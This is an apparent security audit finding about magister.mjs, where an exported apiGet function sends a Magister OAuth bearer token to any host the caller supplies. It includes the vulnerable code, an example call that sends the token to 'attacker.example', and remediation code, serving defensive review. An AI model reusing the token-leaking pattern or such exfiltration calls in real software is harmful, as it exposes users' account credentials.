T09 · Insecure Skill Coding Practices
Warning
- Location
- magister.mjs:112
- Finding
- Bearer Token Disclosure Through Unrestricted API Host Override## Vulnerability Details **File Location**: `magister.mjs`, lines 112–115 **Vulnerability Type**: Unrestricted transmission of an OAuth bearer token to a caller-controlled host **Risk Level**: Medium ### Vulnerable Code ```js export async function apiGet(path, host = HOST) { const token = await getToken(); const url = `https://${host}${path}`; const r = await fetch(url, { headers: { Authorization: `Bearer ${token}` } }); ``` ### Technical Analysis The exported `apiGet` function obtains a valid Magister access token and attaches it to a request sent to the supplied `host`. Although the direct CLI entry point validates `MAGISTER_HOST` against `magister.net` at lines 23–26, that validation only executes when the module is run directly. It does not protect exported functions when the module is imported. Consequently, an importing caller that controls the `host` argument can direct the authenticated request to an arbitrary HTTPS server. The host override is unnecessary for the declared CLI functionality and exceeds the minimum flexibility required to communicate with the configured Magister tenant. Credential transmission to `accounts.magister.net` during authentication is consistent with the declared functionality. Likewise, sending the bearer token to a validated Magister tenant is necessary. The vulnerability is specifically the absence of destination validation at the authenticated request boundary. ### Attack Path 1. A malicious or compromised local component imports `apiGet` while valid `MAGISTER_HOST`, `MAGISTER_USER`, and `MAGISTER_PASSWORD` environment variables are available. 2. It invokes the function with an attacker-controlled destination, for example: ```js await apiGet('/collect', 'attacker.example'); ``` 3. `apiGet` calls `getToken()`, which authenticates to Magister and returns a valid OAuth access token. 4. The function constructs `https://attacker.example/collect`. 5. It sends the Magister token to that server in the ...[truncated 856 chars]
- Remediation
- ## Remediation Suggestions 1. Remove the caller-supplied `host` parameter from `apiGet` and always use the previously validated configured tenant: ```js export async function apiGet(path) { const token = await getToken(); const url = new URL(path, `https://${HOST}`); const r = await fetch(url, { headers: { Authorization: `Bearer ${token}` }, }); if (!r.ok) throw new Error(`HTTP ${r.status} for ${url}`); return r.json(); } ``` 2. Move hostname validation into a reusable function and apply it inside every exported function that accepts or derives a destination. Do not rely only on CLI-entry-point validation. 3. Parse destinations with `URL` rather than constructing them through string concatenation. Require: - `https:` as the protocol; - no embedded username or password; - the expected default HTTPS port; - an exact approved tenant hostname or a strict hostname match for `magister.net`; - no hostname suffix tricks such as `school.magister.net.attacker.example`. 4. Before attaching an `Authorization` header, compare the final parsed request origin against the approved Magister tenant origin. Reject redirects for authenticated API requests unless each redirect destination is independently allowlisted. 5. Consider binding token acquisition and API access to the same validated tenant so a token cannot be acquired for one context and sent to another. 6. Add regression tests confirming that arbitrary domains, deceptive suffixes, embedded credentials, alternate ports, and malformed hosts are rejected before authentication credentials or bearer tokens are transmitted.